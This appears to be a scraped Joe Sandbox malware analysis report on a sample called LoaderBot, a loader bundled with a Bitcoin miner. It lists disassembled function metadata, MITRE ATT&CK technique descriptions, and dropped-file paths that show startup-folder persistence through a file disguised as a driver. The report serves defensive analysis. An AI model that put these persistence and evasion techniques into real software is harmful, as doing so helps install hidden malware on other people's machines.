Instruction Fuzzy Hash: 3A412621B0BA1291FA16AF5EA8006B5E395BF15FD8F8B4535DE1D4B774EE3CE4088360

Function 00007FF7AB4C625C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7AB4C6286
abort.LIBCMT ref: 00007FF7AB4C64EA

Strings

csm, xrefs: 00007FF7AB4C62AB
csm, xrefs: 00007FF7AB4C641A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction ID: 301dab6349409c236298638ad1ea73483afa2a51f1a7ccb0e51f4703077c58f7
Opcode Fuzzy Hash: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction Fuzzy Hash: 2A71D07250A6918AE760AF29905077DFBA0EB06F88F86C136DA4C47AB5CB3CD491C754

Function 00007FF7AB4D4360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7AB4D4446
WriteFile.KERNEL32 ref: 00007FF7AB4D4479
GetLastError.KERNEL32 ref: 00007FF7AB4D449B

Strings

U, xrefs: 00007FF7AB4D4424

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction ID: 6ceb2bdcd2b957fdba7ec1925ebdc665cbe02e59c379642f9973d03acc6d294a
Opcode Fuzzy Hash: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction Fuzzy Hash: 4F41C33271AA9182DB50DF69E4443B9A760FB88794FC24031EE4D877A4DF7CD441C750

Function 00007FF7AB4CDB5C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AB4CDBAF
WideCharToMultiByte.KERNEL32 ref: 00007FF7AB4CDC81
GetLastError.KERNEL32 ref: 00007FF7AB4CDCA4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AB4CDCD6

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction ID: 6381581287e2911203499482feb2f7c89e5bddc1d2cdc3985a4eef5b0e9909cb
Opcode Fuzzy Hash: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction Fuzzy Hash: 2241B832A0EA4246F761AF189040379E2A0EF82F90F964131DB5D47AFBDF7CE4618720

Function 00007FF7AB4D0B78 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7AB4CC45B), ref: 00007FF7AB4D0B91
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7AB4CC45B), ref: 00007FF7AB4D0BF3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7AB4CC45B), ref: 00007FF7AB4D0C2D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7AB4CC45B), ref: 00007FF7AB4D0C57

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction ID: fd09dad6d742dc65260bc9d1a7220837d3f1d0eebd16e193ec8f52d50f5454e7
Opcode Fuzzy Hash: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction Fuzzy Hash: 51218231A1BB5181E6A4AF1A6450029EBA5FB54FD0BC94235DE8E23BB8DF3CE4528314

Function 00007FF7AB4CD440 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7AB4C7F28,?,?,?,00007FF7AB4C9D35), ref: 00007FF7AB4CD44A
SetLastError.KERNEL32(?,?,?,00007FF7AB4C7F28,?,?,?,00007FF7AB4C9D35), ref: 00007FF7AB4CD4B2
SetLastError.KERNEL32(?,?,?,00007FF7AB4C7F28,?,?,?,00007FF7AB4C9D35), ref: 00007FF7AB4CD4C8
abort.LIBCMT ref: 00007FF7AB4CD4CE

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction ID: 50a8d5db5340a8a9c4ff4111e663ad4c8c7700b61e87881048a085f7362be146
Opcode Fuzzy Hash: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction Fuzzy Hash: EB01DE20B0BB0242FA597B2DAA45138D2A15F46F90F824838DA1E427F6ED2CB8254230

Function 00007FF7AB49E34C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49E549

Strings

DXGIDebug.dll, xrefs: 00007FF7AB49E35A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: DXGIDebug.dll
API String ID: 3668304517-540382549
Opcode ID: 9b611769b57abaa4d1aa37b6f78c1b95125875c5bdd6e0a23bce2da3a8b598ec
Instruction ID: 454f89906e72b31aed470d84475fe7de32ed1ceb048b3f1cc3df03fd9c73e6bd
Opcode Fuzzy Hash: 9b611769b57abaa4d1aa37b6f78c1b95125875c5bdd6e0a23bce2da3a8b598ec
Instruction Fuzzy Hash: 7B71AE72A15B8186EB14DF69E4403ADB3A8FB54B94F854236DBAC07BB9DF78E051C310

Function 00007FF7AB4A9408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4A95A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AB4A95E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A959C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A95A2

Strings

SIZE, xrefs: 00007FF7AB4A9443

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 1ee6a6b9fbbd6c3126f8bc5ffec1b6aa008f2877db1f13591811bbd6ed408201
Instruction ID: a35e35843962edbd4a79e7bd21484bce58f9c241c43890b47c3a7a758a1d67a8
Opcode Fuzzy Hash: 1ee6a6b9fbbd6c3126f8bc5ffec1b6aa008f2877db1f13591811bbd6ed408201
Instruction Fuzzy Hash: C541D763A1A74285EE10EB2CE4453BDA360EF86790FD24235EB9D066F6EE3CD540C710

Function 00007FF7AB4B9B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB49255C: GetDlgItem.USER32 ref: 00007FF7AB4925AC
Part of subcall function 00007FF7AB49255C: SetDlgItemTextW.USER32 ref: 00007FF7AB4925C8

EndDialog.USER32 ref: 00007FF7AB4B9C24
SetDlgItemTextW.USER32 ref: 00007FF7AB4B9CAA

Strings

ASKNEXTVOL, xrefs: 00007FF7AB4B9B72

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Item$Text$Dialog
String ID: ASKNEXTVOL
API String ID: 2638039312-3402441367
Opcode ID: 75a4ef6a6cdb84fc8c98b7401f85638b76a9530d4b428818baa7d4c6ec3066de
Instruction ID: cbfc645b752ffe61319af7b9aff4516a33861ec1cfd5521e7bee6d8afa7e5f65
Opcode Fuzzy Hash: 75a4ef6a6cdb84fc8c98b7401f85638b76a9530d4b428818baa7d4c6ec3066de
Instruction Fuzzy Hash: 82417422A0E68281FA54BB6DE5501B9A3A1AF85BC0FD60035DF4D077B9DF3DE9518360

Function 00007FF7AB4AA43C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7AB4AA447
FindResourceW.KERNEL32 ref: 00007FF7AB4AA45D

Strings

RTL, xrefs: 00007FF7AB4AA453

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction ID: 4c5e3a905fc6aa8a8e1b1033231d8dab9147bc951d42f337390771cf95d2b608
Opcode Fuzzy Hash: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction Fuzzy Hash: E9D05B51F0B74241FF596779644533457505F18B41FC94038C80D06371EE2CD088C760

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report h2UFp4aCRq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LoaderBot

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat

C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe

C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe (copy)

Static File Info

General

File Icon

Windows Analysis Report
h2UFp4aCRq.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre